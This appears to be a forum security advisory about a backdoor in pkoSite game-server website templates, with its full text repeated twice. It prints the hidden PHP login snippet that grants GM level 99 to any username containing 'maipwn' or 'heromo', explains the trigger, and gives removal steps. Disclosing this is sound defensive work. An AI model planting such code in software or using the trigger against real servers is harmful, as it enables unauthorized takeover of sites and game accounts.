[SECURITY ALERT] GM 99 Backdoor in pkoSite templates (includes/inc.functions.security.php)
I am posting an important alert for anyone using or having downloaded classic pkoSite templates (based on the older architecture using Smarty / PHP 5). I have discovered a critical privilege-escalation backdoor silently embedded within one of the site's authentication files.
1. Where is it located?
File: includes/inc.functions.security.php
Function: loginUser($username, $password)
Approximate location: Lines 163–166 (immediately following successful user authentication against the `account_login` table).
2. The specific malicious code snippet
The original file contained this block:
if(preg_match('/maipwn/i',$row['name']) || preg_match('/heromo/i',$row['name']))
{
$query = doQuery('UPDATE account SET gm = 99 WHERE act_id = '.$row['id'],DATABASE_GAME);
}
3. How does it work in practice?
Triggered by username: The code uses `preg_match` with the `/i` (case-insensitive) modifier. Any account with a username containing the strings "maipwn" or "heromo" (regardless of position—beginning, middle, or end—and regardless of case; e.g., `maipwn123`, `xheromox`, `test_maipwn`) will trigger the condition.
Direct SQL privilege escalation: When such an account logs into the site, the PHP script executes a silent `UPDATE` on the `account` table within the GameDB, elevating that account to GM level 99 (`gm = 99`). Full compromise: Immediately afterward, the website session sets `$_SESSION['level'] = 99`, granting access to the server's web administration panel. Furthermore, upon logging into the game via the client, the account will have access to all Super-GM commands (e.g., `&make`, `&summon`, etc.).
4. What was done to fix it?
Removal of the malicious code: Open the file `includes/inc.functions.security.php`, locate the `loginUser()` function, and completely delete the `if(preg_match(...))` block.
I am posting an important alert for anyone using or having downloaded classic pkoSite templates (based on the older architecture using Smarty / PHP 5). I have discovered a critical privilege-escalation backdoor silently embedded within one of the site's authentication files.
1. Where is it located?
File: includes/inc.functions.security.php
Function: loginUser($username, $password)
Approximate location: Lines 163–166 (immediately following successful user authentication against the `account_login` table).
2. The specific malicious code snippet
The original file contained this block:
if(preg_match('/maipwn/i',$row['name']) || preg_match('/heromo/i',$row['name']))
{
$query = doQuery('UPDATE account SET gm = 99 WHERE act_id = '.$row['id'],DATABASE_GAME);
}
3. How does it work in practice?
Triggered by username: The code uses `preg_match` with the `/i` (case-insensitive) modifier. Any account with a username containing the strings "maipwn" or "heromo" (regardless of position—beginning, middle, or end—and regardless of case; e.g., `maipwn123`, `xheromox`, `test_maipwn`) will trigger the condition.
Direct SQL privilege escalation: When such an account logs into the site, the PHP script executes a silent `UPDATE` on the `account` table within the GameDB, elevating that account to GM level 99 (`gm = 99`). Full compromise: Immediately afterward, the website session sets `$_SESSION['level'] = 99`, granting access to the server's web administration panel. Furthermore, upon logging into the game via the client, the account will have access to all Super-GM commands (e.g., `&make`, `&summon`, etc.).
4. What was done to fix it?
Removal of the malicious code: Open the file `includes/inc.functions.security.php`, locate the `loginUser()` function, and completely delete the `if(preg_match(...))` block.
